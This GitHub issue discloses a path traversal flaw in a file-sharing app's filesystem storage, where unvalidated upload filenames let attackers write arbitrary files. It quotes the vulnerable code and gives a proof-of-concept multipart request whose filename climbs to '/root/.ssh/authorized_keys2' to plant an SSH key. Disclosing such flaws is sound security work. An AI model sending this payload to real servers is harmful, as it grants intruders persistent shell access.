Skip to content

[SECURITY] path traversal leads to arbitrary file write when using filesystem storage #349

@Cycloctane

Description

@Cycloctane

Describe the bug

get_file_path_name and SystemFileStorage.save_file directly use filename from user input without any validation and concat strings to generate the final save_path and save files. This is extremely vulnerable to path traversal and allows arbitrary file writes.

save_path = f"{path}/{file.filename}"
return path, suffix, prefix, file.filename, save_path

save_path = self.root_path / save_path
if not save_path.parent.exists():
save_path.parent.mkdir(parents=True)
await asyncio.to_thread(self._save, file.file, save_path)

PoC

An attcker can perform arbitrary file writes by sending a multipart request with malicious filename.

POST /share/file/ HTTP/1.1
Host: 127.0.0.1:12345
Content-Type: multipart/form-data; boundary=----8f188eaea17e2acaad37ec700ad01edd

------8f188eaea17e2acaad37ec700ad01edd
Content-Disposition: form-data; name="file"; filename="../../../../../../../../root/.ssh/authorized_keys2"
Content-Type: text/plain

ssh-rsa AAAA...

------8f188eaea17e2acaad37ec700ad01edd
Content-Disposition: form-data; name="expire_value"

1
------8f188eaea17e2acaad37ec700ad01edd
Content-Disposition: form-data; name="expire_style"

minute
------8f188eaea17e2acaad37ec700ad01edd--

Affected versions

<= 2.2

Additional context

CWE-23

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions